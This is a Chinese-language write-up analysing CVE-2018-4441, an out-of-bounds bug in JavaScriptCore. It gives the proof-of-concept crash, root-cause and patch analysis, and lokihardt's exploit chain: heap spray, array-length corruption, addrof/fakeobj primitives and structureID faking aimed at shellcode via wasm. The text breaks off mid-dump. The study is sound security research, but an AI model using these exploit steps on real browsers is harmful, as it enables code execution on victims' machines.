從CVE-2018-4441看jsc的OOB利用
作者最近研究了safari瀏覽器JavascriptCore引擎的一個OOB漏洞CVE-2018-4441,雖然這是一個比較老的漏洞,但是研究這個漏洞還是能學到不少東西。這裏介紹了jsc環境搭建的方法和jsc一些基本調試技巧,詳細分析了CVE-2018-4441的漏洞成因和lokihardt堆噴修改數組長度構成OOB的方法,希望讀者讀完能有所收穫。
環境搭建
下載源碼
下載源碼使用
git clone https://git.webkit.org/git/WebKit.git WebKit
如下載的源碼較舊需更新源碼到最新日期則使用
git fetch --all git reset --hard origin/master git pull
切換到包含漏洞的commit_hash,這裏我沒有找到很好的方法,我使用的方法是搜索CVE-2018-4441的修復日期fix_date,然後從webkit的github上搜索小於fix_date的commit,即committer-date:<fix_date,最後使用的是21687be235d506b9712e83c1e6d8e0231cc9adfd。切換的命令如下
git checkout -b CVE-2018-4441 21687be235d506b9712e83c1e6d8e0231cc9adfd
命令的格式爲git checkout -b {local_name} {commit_hash}。
編譯安裝
安裝依賴項
Tools/gtk/install-dependencies
這裏如果是在linux下使用時提示缺少pipenv包需要註釋掉install-dependencies中函數installDependenciesWithApt裏邊的pipenv包。
編譯
Tools/Scripts/build-webkit --jsc-only --debug Tools/Scripts/build-webkit --jsc-only --release
這裏介紹兩個使jsc在我們編寫的js代碼裏斷下來的技巧(即類似V8的%SystemBreak())。
在編寫的js代碼裏定義斷點函數
function b(){ Array.prototype.slice([]); //needs "b arrayProtoFuncSlice" }
在調試器裏設置arrayProtoFuncSlice的斷點即”b arrayProtoFuncSlice”。這樣在js代碼裏調用b()調試器就會斷在這裏了。
這個方法的缺點是如果調試的漏洞會調用到arrayProtoFuncSlice的話可能會對漏洞分析調試產生影響。
修改jsc的源碼添加如下輔助函數
diff --git diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp index bda9a09d0d2..d359518b9b6 100644 --- a/Source/JavaScriptCore/jsc.cpp +++ b/Source/JavaScriptCore/jsc.cpp @@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*); static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*); static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*); static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*); +static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*); static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*); static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*); static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*); @@ -1218,6 +1219,7 @@ protected: addFunction(vm, "debug", functionDebug, 1); addFunction(vm, "describe", functionDescribe, 1); + addFunction(vm, "dbg", functionDbg, 0); addFunction(vm, "describeArray", functionDescribeArray, 1); addFunction(vm, "print", functionPrintStdOut, 1); addFunction(vm, "printErr", functionPrintStdErr, 1); @@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec) return JSValue::encode(jsUndefined()); } +EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec) +{ + asm("int3;"); + + return JSValue::encode(jsUndefined()); +} + EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec) { if (exec->argumentCount() < 1)
重新編譯jsc代碼,在js代碼裏定義如下斷點函數
function b(){ dbg(); }
這樣在js代碼裏調用函數b()時調試器就會斷在這裏了。
對象調試
jsc中也有一些類似v8的%DebugPrint()的輔助調試輸出函數,定義在JavaScriptCore/jsc.cpp裏。jsc中輸出對象的方法如下
debug(describe(obj));
漏洞分析
function main() { let arr = [1]; arr.length = 0x100000; arr.splice(0, 0x11); arr.length = 0xfffffff0; arr.splice(0xfffffff0, 0, 1); } main();
poc中首先定義了一個CopyOnWriteArrayWithInt32的數組arr,
--> Object: 0x7fffb30b4340 with butterfly 0x7fe0000e4010 (Structure 0x7fffb30f2c30:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffb30c80a0, Leaf]), StructureID: 102
其中jsc的數組存儲規則定義在/Source/JavaScriptCore/runtime/ArrayConventions.h裏。elements的存儲定義如下,
// * Where (i < MIN_SPARSE_ARRAY_INDEX) the value will be stored in the storage vector, // unless the array is in SparseMode in which case all properties go into the map. // * Where (MIN_SPARSE_ARRAY_INDEX <= i <= MAX_STORAGE_VECTOR_INDEX) the value will either // be stored in the storage vector or in the sparse array, depending on the density of // data that would be stored in the vector (a vector being used where at least // (1 / minDensityMultiplier) of the entries would be populated). // * Where (MAX_STORAGE_VECTOR_INDEX < i <= MAX_ARRAY_INDEX) the value will always be stored // in the sparse array.
此時arr的元素下標小於MIN_SPARSE_ARRAY_INDEX(即100000U)會存儲在butterfly的storage vector裏,butterfly(0x7fe0000e4010)
0x7fe0000e4000: 0x0100111500000014 0x0000000100000001 0x7fe0000e4010: 0xffff000000000001 0x00000000badbeef0 0x7fe0000e4020: 0x00000000badbeef0 0x00000000badbeef0
poc中之後修改了arr的長度爲0x100000,此時下標大於MIN_SPARSE_ARRAY_INDEX(100000U)數組類型變爲ArrayWithArrayStorage
--> Object: 0x7fffb30b4340 with butterfly 0x7fe0000fe6e8 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
此時jsc開闢了新的ArrayStorage並把butterfly指向新的ArrayStorage。butterfly(0x7fe0000fe6e8)
0x7fe0000fe6d8: 0x00000000badbeef0 0x0000000100100000 0x7fe0000fe6e8: 0x0000000000000000 0x0000000100000000 0x7fe0000fe6f8: 0xffff000000000001 0x00000000badbeef0
在執行arr.splice(0, 0x11),移除0x11個元素後butterfly變爲
0x7fe0000fe6d8: 0x00000000badbeef0 0x00000001000fffef 0x7fe0000fe6e8: 0x0000000000000000 0xfffffff000000000 0x7fe0000fe6f8: 0x0000000000000000 0x00000000badbeef0
poc中重新設置arr的長度arr.length = 0xfffffff0,此時butterfly變爲
0x7fe0000fe6d8: 0x00000000badbeef0 0x00000001fffffff0 0x7fe0000fe6e8: 0x0000000000000000 0xfffffff000000000 0x7fe0000fe6f8: 0x0000000000000000 0x00000000badbeef0
繼續調用arr.splice(0xfffffff0, 0, 1)添加元素時發現jsc運行崩潰
崩潰時寫的地址爲0x7ff0000fe6e8+0xfffffff0*8+0x10=0x7FF8000FE678,0x7FF8000FE678不可寫導致崩潰
pwndbg> vmmap 0x7FF8000FE678 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ff400000000 0x7ffc00000000 ---p 800000000 0
漏洞根源分析
poc崩潰時棧回溯如下
pwndbg> bt #0 JSC::JSArray::unshiftCountWithArrayStorage (this=0x7fffb30b4340, exec=0x1, startIndex=<optimized out>, count=1, storage=0x7ff0000fe6e8) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1060 #1 0x00000000013a3369 in JSC::JSArray::unshiftCountWithAnyIndexingType (this=0x7fffb30b4340, exec=0x7fffffffcde0, startIndex=4294967280, count=<optimized out>) at ../../Source/JavaScriptCore/runtime/JSObject.h:863 #2 0x00000000012c19af in JSC::JSArray::unshiftCountForSplice (this=<optimized out>, exec=<optimized out>, startIndex=<optimized out>, count=<optimized out>) at ../../Source/JavaScriptCore/runtime/JSArray.h:149 #3 JSC::JSArray::unshiftCount<(JSC::JSArray::ShiftCountMode)1> (this=<optimized out>, count=<optimized out>, exec=<optimized out>, startIndex=<optimized out>) at ../../Source/JavaScriptCore/runtime/JSArray.h:158 #4 JSC::unshift<(JSC::JSArray::ShiftCountMode)1> (exec=0x7fffffffcde0, thisObj=0x7fffb30b4340, header=<optimized out>, currentCount=0, resultCount=<optimized out>, length=4294967280) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:361 #5 0x00000000012b6b2a in JSC::arrayProtoFuncSplice (exec=0x7fffffffcde0) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1091 #6 0x00007fffb39ff177 in ?? () #7 0x00007fffffffce70 in ?? () #8 0x0000000001126f00 in llint_entry ()
我分析這個漏洞根本原因的方法是先從ECMAScript查了下Array.prototype.splice方法的實現,然後從崩潰的開始JSC::arrayProtoFuncSplice函數分析。
JSC::arrayProtoFuncSplice的大致邏輯是找到splice調用時的數組起點actualstart並根據參數個數來對數組進行刪除元素或添加元素,刪除或添加元素使用的是shift或unshift。
poc中第一次調用arr.splice(0, 0x11)刪除元素時使用的是shift,並最終由於arr類型爲ArrayWithArrayStorage調用到shiftCountWithArrayStorage。
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { ...... // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType())) { return false; } if (!oldLength) return true; unsigned length = oldLength - count; storage->m_numValuesInVector -= count; storage->setLength(length);
在shiftCountWithArrayStorage進行了一些列判斷來決定array是否使用ArrayPrototype中的方法處理splice調用中的刪除元素操作,若這一系列判斷條件全部爲假則執行storage->m_numValuesInVector -= count對splice調用中的數組storage->vectorLength賦值的操作,實際上這一系列的判斷是存在缺陷的,漏洞的根源也就出在這裏。產生漏洞的原因即判斷條件全部爲假時m_numValuesInVector 和array.length我們可控,在隨後的分析中我們可以看到這兩個值可控會導致添加元素調用unshiftCountWithArrayStorage時實際storage->hasHoles()爲真的數組返回爲假,在memmove初始化新的storage時導致OOB。
shiftCountWithArrayStorage中首先判斷了hasHoles,jsc中storage->hasHoles()實際上判斷的是*(dword*)(&butterfly+0xc)==*(dword*)(&butterfly-0x4),即storageLength==vectorLength,
此時由於m_numValuesInVector!=storage->length,hasHoles爲真。butterfly(0x7ff0000fe6e8)
pwndbg> x/6xg 0x7ff0000fe6e8-0x10 0x7ff0000fe6d8: 0x00000000badbeef0 0x0000000100100000 0x7ff0000fe6e8: 0x0000000000000000 0x0000000100000000 0x7ff0000fe6f8: 0xffff000000000001 0x00000000badbeef0 pwndbg> p *(JSC::ArrayStorage *) 0x7ff0000fe6e8 $8 = { m_sparseMap = { <JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >> = { m_cell = 0x0 }, <No data fields>}, m_indexBias = 0, m_numValuesInVector = 1, m_vector = {{ <JSC::WriteBarrierBase<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> >> = { m_value = -281474976710655 }, <No data fields>}} }
然後繼續判斷會調用到holesMustForwardToPrototype
bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const { ASSERT(base->structure(vm) == this); if (this->mayInterceptIndexedAccesses()) return true; JSValue prototype = this->storedPrototype(base); if (!prototype.isObject()) return false; JSObject* object = asObject(prototype); while (true) { Structure& structure = *object->structure(vm); if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses()) return true; prototype = structure.storedPrototype(object); if (!prototype.isObject()) return false; object = asObject(prototype); } RELEASE_ASSERT_NOT_REACHED(); return false; }
holesMustForwardToPrototype中主要是遍歷了array的原型鏈並判斷了hasIndexedProperties和mayInterceptIndexedAccesses屬性,如果這兩個屬性都爲假會返回false。
回到shiftCountWithArrayStorage的3個判斷,即
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType()))
按照lokihardt的說法由於poc中的arr在原型鏈中不含索引訪問和proxy對象,第一個&&的判斷中holesMustForwardToPrototype會爲假。其餘兩個判斷也爲假。這樣就導致shiftCountWithArrayStorage執行到如下代碼
storage->m_numValuesInVector -= count;
poc中的arr->m_numValuesInVector = 1,這樣刪除0x11個元素後1-0x11=0xFFFFFFFFFFFFFFF0,保存時取低4字節爲0xfffffff0。
poc中執行到arr.splice(0xfffffff0, 0, 1)添加元素時使用的是unshift,並最終由於arr類型爲ArrayWithArrayStorage調用到unshiftCountWithArrayStorage。
bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage) { ...... // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType())) return false;
在unshiftCountWithArrayStorage中首先判斷了arr的storage是否hasHoles,如果hasHoles爲真則使用ArrayPrototype的其他方法去處理splice調用時刪除或添加的元素。
由於poc中我們修改了arr的length爲0xFFFFFFF0,又由於第一次調用splice方法刪除元素時在shiftCountWithArrayStorage中不正確地更新了m_numValuesInVector,此時length=m_numValuesInVector=0xFFFFFFF0,storage->hasHoles()返回爲假jsc繼續使用unshiftCountWithArrayStorage的方法處理splice調用中添加的元素。此時butterfly(0x7ff0000fe6e8)如下,*(dword*)(&butterfly+0xc)==*(dword*)(&butterfly-0x4)
pwndbg> p *(JSC::ArrayStorage *)0x7ff0000fe6e8 $4 = { m_sparseMap = { <JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >> = { m_cell = 0x0 }, <No data fields>}, m_indexBias = 0, m_numValuesInVector = 4294967280, m_vector = {{ <JSC::WriteBarrierBase<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> >> = { m_value = 0 }, <No data fields>}} } pwndbg> x/6xg 0x7ff0000fe6e8-0x10 0x7ff0000fe6d8: 0x00000000badbeef0 0x00000001fffffff0 0x7ff0000fe6e8: 0x0000000000000000 0xfffffff000000000 0x7ff0000fe6f8: 0x0000000000000000 0x00000000badbeef0
unshiftCountWithArrayStorage隨後設置了storage的gc狀態爲推遲,然後重新設置了array->storage。隨後的漏洞利用分析中可以看到這裏調用memmove處理新的storage就是導致OOB的根本原因。
WriteBarrier<Unknown>* vector = storage->m_vector; if (startIndex) { if (moveFront) memmove(vector, vector + count, startIndex * sizeof(JSValue)); else if (length - startIndex) memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue)); } for (unsigned i = 0; i < count; i++) vector[i + startIndex].clear(); return true; }
總結一下漏洞的邏輯:poc中的arr第一次調用splice刪除元素時會調用到shiftCountWithArrayStorage,在shiftCountWithArrayStorage會遍歷arr的原型鏈並存在可能使得原型鏈判斷返回假,導致在shiftCountWithArrayStorage中arr的m_numValuesInVector 被不恰當地更新(本不該執行到這裏);在第二次調用splice添加元素時調用到unshiftCountWithArrayStorage,如果設置arr.length=m_numValuesInVector 導致arr->hasHoles判斷爲假,進而在unshiftCountWithArrayStorage中使用memmove更新storage時導致OOB。
patch分析
patch地址 https://github.com/WebKit/webkit/commit/51a62eb53815863a1bd2dd946d12f383e8695db0
patch中去掉了shiftCountWithArrayStorage中遍歷原型鏈的判斷,且不管array是否storage->hasHoles()都使用memmove去更新storage。這樣在調用splice刪除元素時只要數組vectorLength!=storageLength即hasHoles爲真都會使用ArrayPrototype中的方法去處理,不會更新m_numValuesInVector ,這樣這個漏洞就從根源上被修復了。
但是這裏我沒有想明白的一點是爲什麼修復漏洞之前還要多此一舉的調用holesMustForwardToPrototype判斷array的原型鏈,既然不判斷既沒有漏洞又省去了一次執行判斷原型鏈的時間;)?
漏洞利用
exp來自那個男人,即lokihardt。
首先整理一下通過這個漏洞我們可控的東西:splice在刪除元素時不正確更新的vectorLength、array數組的長度storageLength,在調用splice添加元素時如果vectorLength=storageLength即storage->hasHoles爲真會執行unshiftCountWithArrayStorage中更新storage的流程,並且更新storage的流程memmove時似乎存在利用的可能。
lokihardt的利用思路是通過堆噴利用unshiftCountWithArrayStorage更新storage時memmove修改數組長度構成OOB進而構造addrof、fakeobj原語,構造ArrayWithArrayStorage類型的fakeobj記hax並使hax的butterfly指向ArrayWithDouble類型的victim,通過修改hax[1]即victim.butterfly爲addr和victim.prop完成任意地址讀寫,通過任意地址讀寫修改wasm模塊rwx的內存區來執行shellcode。
heap spray
let spray = new Array(0x3000); for (let i = 0; i < 0x3000; i += 2) { spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; } for (let i = 0; i < 0x3000; i += 2) spray[i][0] = i2f(0x1337)
lokihardt堆噴的數組spray[i]爲ArrayWithDouble,spray[i+1]爲ArrayWithContiguous,且spray[i]和spray[i+1]均爲10個元素,這裏堆噴的數組元素類型和個數都是固定的。
首先解釋下元素的類型,這裏的元素類型是爲了方便利用修改長度後的堆噴數組構造fakeobj和addrof原語,測試如下代碼
function p(obj){ debug(describe(obj)); } function b(){ dbg(); //needs patch } var a1 = [1.1]; a1[0] = 13.37; var a2 = [{}]; print("[*] a1:"); p(a1); print("[*] a2"); p(a2); b();
a1爲ArrayWithDouble類型,jsc中存儲如下
[*] a1: --> Object: 0x7fffb30b4370 with butterfly 0x7fe0000fe928 (Structure 0x7fffb30f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffb30c80a0, Leaf]), StructureID: 98 pwndbg> x/6xg 0x7fffb30b4370 0x7fffb30b4370: 0x0108210700000062 0x00007fe0000fe928 0x7fffb30b4380: 0x0108210900000063 0x00007fe0000fe948 0x7fffb30b4390: 0x00000000badbeef0 0x00000000badbeef0 pwndbg> x/6xg 0x00007fe0000fe928-0x10 0x7fe0000fe918: 0x00007fffb306c280 0x0000000100000001 0x7fe0000fe928: 0x402abd70a3d70a3d 0x00000000badbeef0 0x7fe0000fe938: 0x00000000badbeef0 0x0000000300000001
可以看到a1即ArrayWithDouble的元素在butterfly的storage中直接存儲。
a2爲ArrayWithContiguous類型,jsc中存儲如下
[*] a2 --> Object: 0x7fffb30b4380 with butterfly 0x7fe0000fe948 (Structure 0x7fffb30f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb30c80a0]), StructureID: 99 pwndbg> x/6xg 0x7fffb30b4380 0x7fffb30b4380: 0x0108210900000063 0x00007fe0000fe948 0x7fffb30b4390: 0x00000000badbeef0 0x00000000badbeef0 0x7fffb30b43a0: 0x00000000badbeef0 0x00000000badbeef0 pwndbg> x/6xg 0x00007fe0000fe948-0x10 0x7fe0000fe938: 0x00000000badbeef0 0x0000000300000001 0x7fe0000fe948: 0x00007fffb30b0080 0x0000000000000000 0x7fe0000fe958: 0x0000000000000000 0x00000000badbeef0 pwndbg> x/6xg 0x00007fffb30b0080-0x10 0x7fffb30b0070: 0x0000000000000004 0x00000000badbeef0 0x7fffb30b0080: 0x010016000000004c 0x0000000000000000 0x7fffb30b0090: 0x0000000000000000 0x0000000000000000
a2中的元素{}在butterfly中以類似object的形式存儲,即butterfly中存儲的是指向{}內存區的指針,指針指向a2的真正內容。即a2.butterfly->*p->content。
再看一遍lokihardt堆噴的數組,spray[i]爲ArrayWithDouble,butterfly:0x7fe00028c078;spray[i+1]爲ArrayWithContiguous,butterfly:0x7fe00028c0e8。
pwndbg> x/40xg 0x00007fe00028c078-0x40 0x7fe00028c038: 0x00007fffb1a65c40 0x00007fffb1a65c80 0x7fe00028c048: 0x00007fffb1a65cc0 0x0000000000000000 0x7fe00028c058: 0x0000000000000000 0x0000000000000000 0x7fe00028c068: 0x0000000d0000000a 0x0000000000001337 0x7fe00028c078: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c088: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c098: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c0a8: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c0b8: 0x40c735af5c28f5c3 0x7ff8000000000000 0x7fe00028c0c8: 0x7ff8000000000000 0x7ff8000000000000 0x7fe00028c0d8: 0x0000000d0000000a 0x00007fffb1a65d00 0x7fe00028c0e8: 0x00007fffb1a65d40 0x00007fffb1a65d80 0x7fe00028c0f8: 0x00007fffb1a65dc0 0x00007fffb1a65e00 0x7fe00028c108: 0x00007fffb1a65e40 0x00007fffb1a65e80 0x7fe00028c118: 0x00007fffb1a65ec0 0x00007fffb1a65f00 0x7fe00028c128: 0x00007fffb1a65f40 0x0000000000000000 0x7fe00028c138: 0x0000000000000000 0x0000000000000000 0x7fe00028c148: 0x0000000d0000000a 0x0000000000001337 0x7fe00028c158: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c168: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
構造addrof:spray[i+1][0]=obj,jsc會在0x7fe00028c0e8的位置保存obj的地址指針,在**0x7fe00028c0e8的位置保存obj的內容,這樣我們通過讀spray[i][14]的內容即可實現讀對象的地址。
構造fakeobj:spray[i][14]=addr,此時spray[i+1][0]的位置即爲addr,由於spray[i+1]爲ArrayWithContiguous類型即spray[i+1][x]中保存的是類似obj的對象,這樣spray[i+1][0]即爲我們構造的fakeobj對象。
再解釋下堆噴的數組元素個數是10個。要理解堆噴元素個數首先要理解的一點是lokihardt利用的思路,如果我們可以修改堆噴的數組長度使spray[i]可以訪問到spray[i+1][xx]就可以構造fakeobj和addrof原語,而正常情況下不修改數組長度spray[i]肯定是不能訪問到spray[i+1]的,那麼如何修改堆噴數組的長度呢?可能的思路有兩個:1.堆噴後手動觸發GC調用splice添加元素使調用splice時新添加的storage的butterfly正好落在spray[i]裏(即在spray[i]處僞造一個butterfly並修改spray[i]的length),但是這個方法明顯的缺陷就是觸發GC的時機和新的butterfly太難控制了,控制不當jsc肯定會崩潰;2.調試發現exp中splice添加元素的過程會觸發創建新的butterfly的操作,新創建的butterfly會落在最後一個堆噴數組的後面(spray[0x3000].butterfly的後面),配合unshiftCountWithArrayStorage中的memmove可以達到修改堆噴數組長度的效果,這也是這個漏洞爲什麼會被描述爲OOB的根本原因(難道這就是那個男人強大的力量嗎;p)。
第一次arr.splice(0, 0x11)刪除元素時arr的存儲
--> Object: 0x7fffb30b4370 with butterfly 0x7ff0000fe948 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
堆噴後調用arr.splice(0x1000,0,1)添加元素,unshiftCountWithArrayStorage處理exp中的arr時會調用到unshiftCountSlowCase,並在tryCreateUninitialized中創建新的storage,大小爲88=0x58
字節對齊後爲0x50,爲了防止隨後的memmove移動內存過程中破壞內存,堆噴的數組元素個數申請了10個。
unshiftCountWithArrayStorage在創建完新的storage後會初始化新的storage,即memmove的過程,exp中會執行到以下流程
這裏dst=0x7ff000287a78即arr新的butterfly+0x10的位置,src=0x7ff000287a80,n=0x8000即將0x7ff000287a80開始0x8000的內存整體前移8字節,這裏會使堆噴數組中某個spray[i][0]的元素覆蓋到*(dword*)(&spray[i]-8)的位置,即0x1337覆蓋到spray[i]的length域
pwndbg> x/20xg 0x7ff000287a78-0x40 0x7ff000287a38: 0x00000000badbeef0 0x00000000badbeef0 0x7ff000287a48: 0x00000000badbeef0 0x00000000badbeef0 0x7ff000287a58: 0x00000000badbeef0 0x00000002fffffff0 0x7ff000287a68: 0x0000000000000000 0xfffffff000000006 0x7ff000287a78: 0x00000000badbeef0 0x0000000000000000 0x7ff000287a88: 0x00000000badbeef0 0x00000000badbeef0 0x7ff000287a98: 0x00000000badbeef0 0x00000000badbeef0 0x7ff000287aa8: 0x00000000badbeef0 0x00000000badbeef0 0x7ff000287ab8: 0x00000000badbeef0 0x00000000badbeef0 0x7ff000287ac8: 0x00000000badbeef0 0x00000000badbeef0
被覆蓋前的堆噴數組
pwndbg> x/20xg 0x7fe00028c078-0x40 0x7fe00028c038: 0x00007fffb1c69c00 0x00007fffb1c69c40 0x7fe00028c048: 0x00007fffb1c69c80 0x00007fffb1c69cc0 0x7fe00028c058: 0x0000000000000000 0x0000000000000000 0x7fe00028c068: 0x0000000000000000 0x0000000d0000000a //length 0x7fe00028c078: 0x0000000000001337 0x402abd70a3d70a3d 0x7fe00028c088: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c098: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c0a8: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c0b8: 0x402abd70a3d70a3d 0x40c735af5c28f5c3 0x7fe00028c0c8: 0x7ff8000000000000 0x7ff8000000000000
被覆蓋後的堆噴數組
pwndbg> x/20xg 0x7fe00028c078-0x40 0x7fe00028c038: 0x00007fffb1a65c40 0x00007fffb1a65c80 0x7fe00028c048: 0x00007fffb1a65cc0 0x0000000000000000 0x7fe00028c058: 0x0000000000000000 0x0000000000000000 0x7fe00028c068: 0x0000000d0000000a 0x0000000000001337 //length 0x7fe00028c078: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c088: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c098: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c0a8: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7fe00028c0b8: 0x40c735af5c28f5c3 0x7ff8000000000000 0x7fe00028c0c8: 0x7ff8000000000000 0x7ff8000000000000
到這裏我們就可以控制一個可以越界訪問的ArrayWithDouble類型數組spray[i]了,通過搜索內存找到length不爲0xa的堆噴數組進而可以構造addrof和fakeobj原語。
arbitrary code execute
lokihardt構造任意地址讀寫原語的思路是構造一個ArrayWithDouble的數組victim,利用漏洞版本jsc相同數據類型structureID並不會隨機化並根據i32和f64在內存中存儲位置相同構造fake structureID,構造ArrayWithArrayStorage類型的fakeobj記爲hax使hax的butterfly指向victim,通過修改hax[1]即victim的butterfly爲addr同時修改victim的prop實現任意地址讀寫。
fake structureID
構造victim
victim = [1.1]; victim[0] =3.3; victim['prop'] = 13.37; victim['prop'+1] = 13.37;
victim = [1.1]此時構造的victim的類型爲CopyOnWriteArrayWithDouble,victim[0] =3.3重新分配butterfly並修改victim類型爲ArrayWithDouble。jsc中這兩種類型並不一樣。ArrayWithDouble的victim存儲如下,可以看到prop存儲在*(dword*)(butterfly-0x10)的位置。
[*] victim: --> Object: 0x7fffb1a551f0 with butterfly 0x7ff000280058 (Structure 0x7fffb3070d90:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffb30c80a0, Leaf]), StructureID: 318 pwndbg> x/6xg 0x7fffb1a551f0 0x7fffb1a551f0: 0x010821070000013e 0x00007ff000280058 0x7fffb1a55200: 0x00000000badbeef0 0x00000000badbeef0 0x7fffb1a55210: 0x00000000badbeef0 0x00000000badbeef0 pwndbg> x/10xg 0x00007ff000280058-0x20 0x7ff000280038: 0x0000000000000000 0x402bbd70a3d70a3d 0x7ff000280048: 0x402bbd70a3d70a3d 0x0000000100000001 0x7ff000280058: 0x400a666666666666 0x00000000badbeef0 0x7ff000280068: 0x00000000badbeef0 0x00000000badbeef0 0x7ff000280078: 0x00000000badbeef0 0x00000000badbeef0
構造fakeobj
i32[0]=100; i32[1]=0x01082107 - 0x10000; var container={ jscell:f64[0], butterfly:victim, }
需要注意在jsc中構造fakeobj時需要繞過structureID,structureID相同的才具有相同methodTable並被jsc視爲相同類型。漏洞版本的jsc並不會在每次啓動時隨機化相同數據類型的structureID,這裏lokihardt把structureID初始化爲了0x64即arr的ArrayWithArrayStorage類型。這裏fakeobj的類型是固定的,構造ArrayWithArrayStorage類型hax的原因是ArrayWithArrayStorage的數據直接存儲在butterfly裏,我們可以訪問到的hax[1]即爲victim的butterfly。
[*] arr: --> Object: 0x7fffb30b4370 with butterfly 0x7fe0000fe948 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100 [*] hax: --> Object: 0x7fffb30c8390 with butterfly 0x7fffb1a551f0 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
漏洞版本的jsc在解析如下代碼時保存i32和f64內容的位置實際上是相同的(這裏我是調試發現的,可能是因爲WastefulTypedArray類型?下文有jsc中WastefulTypedArray類型的存儲方式解釋)。
var conversion_buffer = new ArrayBuffer(8) var f64 = new Float64Array(conversion_buffer) var i32 = new Uint32Array(conversion_buffer)
存儲結構
[*] i32 --> Object: 0x7fffb30c8360 with butterfly 0x7fe0000e0018 (Structure 0x7fffb3070a80:[Uint32Array, {}, NonArray, Proto:0x7fffb30b4360, Leaf]), StructureID: 311 [*] f64 --> Object: 0x7fffb30c8340 with butterfly 0x7fe0000e0008 (Structure 0x7fffb30707e0:[Float64Array, {}, NonArray, Proto:0x7fffb30b4350, Leaf]), StructureID: 305 [*] conversion_buffer: --> Object: 0x7fffb30c8320 with butterfly (nil) (Structure 0x7fffb30f3640:[ArrayBuffer, {}, NonArray, Proto:0x7fffb30c81e0, Leaf]), StructureID: 125
這裏i32和f64的butterfly存儲的都不是它們的實際內容,實際存儲i32和f64內容的位置位於*(dword*)(i32+0x10)即0x00007fe8000ff000裏
pwndbg> x/20xg 0x7fffb30c8320 0x7fffb30c8320: 0x010023000000007d 0x0000000000000000 0x7fffb30c8330: 0x00007ffff3a8a600 0x00000000badbeef0 0x7fffb30c8340: 0x01082c0000000131 0x00007fe0000e0008 0x7fffb30c8350: 0x00007fe8000ff000 0x0000000200000001 0x7fffb30c8360: 0x01082a0000000137 0x00007fe0000e0018 0x7fffb30c8370: 0x00007fe8000ff000 0x0000000200000002 0x7fffb30c8380: 0x0100160000000140 0x0000000000000000 0x7fffb30c8390: 0x0001000000001337 0x00007fffb1c551f0 0x7fffb30c83a0: 0x00000000badbeef0 0x00000000badbeef0 0x7fffb30c83b0: 0x00000000badbeef0 0x00000000badbeef0 pwndbg> x/20xg 0x00007fe0000e0008-0x40 0x7fe0000dffc8: 0x0000000000000000 0x0000000000000000 0x7fe0000dffd8: 0x0000000000000000 0x0000000000000000 0x7fe0000dffe8: 0x0000000000000000 0x0000000000000000 0x7fe0000dfff8: 0x00000000badbeef0 